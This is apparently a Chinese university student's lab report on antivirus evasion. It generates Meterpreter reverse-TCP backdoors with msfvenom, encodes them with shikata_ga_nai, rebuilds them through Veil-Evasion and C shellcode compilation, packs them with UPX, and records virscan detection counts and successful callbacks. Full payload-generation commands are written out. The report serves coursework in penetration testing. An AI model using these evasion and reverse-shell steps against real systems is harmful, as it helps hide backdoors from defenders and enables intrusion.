20155311 Exp3 免杀原理与实践

20155311 Exp3 免杀原理与实践

•免杀

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

【基础问题回答】

  • (1)杀软是如何检测出恶意代码的?

1.通过特征码的比对
2.启发式检测
3.通过行为检测

  • (2)免杀是做什么?

是对恶意软件做处理,用来躲避杀毒软件的检查

  • (3)免杀的基本方法有哪些?

方法有修改特征码

改变行为特征

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

在老师提供的virscan上上传后门进行免杀测试。


全裸后门测试

  • 将未经处理过的后门直接在virscan上测试,发现裸奔的后门有19个杀软检测到了。

利用msfvenom对裸奔的后门进行编码处理

对全裸的后门用如下命令,进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ‘\x00’ LHOST=kali的ip LPORT=端口号 -f exe > 5311v1.exe

20155311 Exp3 免杀原理与实践
  • 然后将经过编码后的后门程序后门程序在virscan上进行免杀测试,发现有19个杀软检测到了它,并没有起到隐藏作用。

  • 然后我又尝试了10次编码,只用把命令中i后面的数字改为10,就能控制编码次数了。

20155311 Exp3 免杀原理与实践

Veil-Evasion免杀平台

  • 由于用的是老师的虚拟机,所以Veil已经安装好了,直接输入veil进入免杀平台,之后依次输入以下命令来进行选择
    use evasion
    use python/meterpreter/rev_tcp.py
    set LHOST 192.168.1.105(kali IP)
    set LPORT 5311
    20155311 Exp3 免杀原理与实践

  • 设定完成后,输入generate出现了错误,很难受,文件生成不了
  • 之后我看了一下有很多同学出现了同样的错误,发现将语言换成C语言即可了。
  • 将产生的后门复制到windows下,加入杀软的信任列表里,进行检测,发现这次隐藏得不错,只有9个杀软检测到了。
    20155311 Exp3 免杀原理与实践

20155311 Exp3 免杀原理与实践
  • 通过回连(方法见上一次实验),成功监听
20155311 Exp3 免杀原理与实践

利用shellcode编程实现免杀

•利用msf命令生成一个C语言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5311 -f c
20155311 Exp3 免杀原理与实践

•将上图中生成的数组加上一个主函数建立一个met_5311.c的.c文件
•随后用命令i686-w64-mingw32-g++ met_5311.c -o met_5311.exe将.c文件转换为可执行文件met_5311.exe。

•可以将可执行文件复制到windows下可以检测一下它的隐蔽性,然而一复制就被我的电脑管家拦截了,授予信任后检测发现仍然有9个杀软检测到了它。
20155311 Exp3 免杀原理与实践
20155311 Exp3 免杀原理与实践

通过C语言调用Shellcode
•将shellcode拷到windows下,按老师的方法编写成.C文件通过VS编译运行得到的exe,可以回连到kali,报毒率也还可以,但是并没有低多少TAT。

20155311 Exp3 免杀原理与实践
回连
20155311 Exp3 免杀原理与实践

1.4加壳

1.4.1UPX加壳

用下面的命令来加这个压缩壳

upx gzy.exe -o gzy-11.exe

成功之后结果如下

20155311 Exp3 免杀原理与实践

来,继续viruscan检测一下
20155311 Exp3 免杀原理与实践

【实验总结】

这次实验感觉很难,很麻烦,很费精力。

相关推荐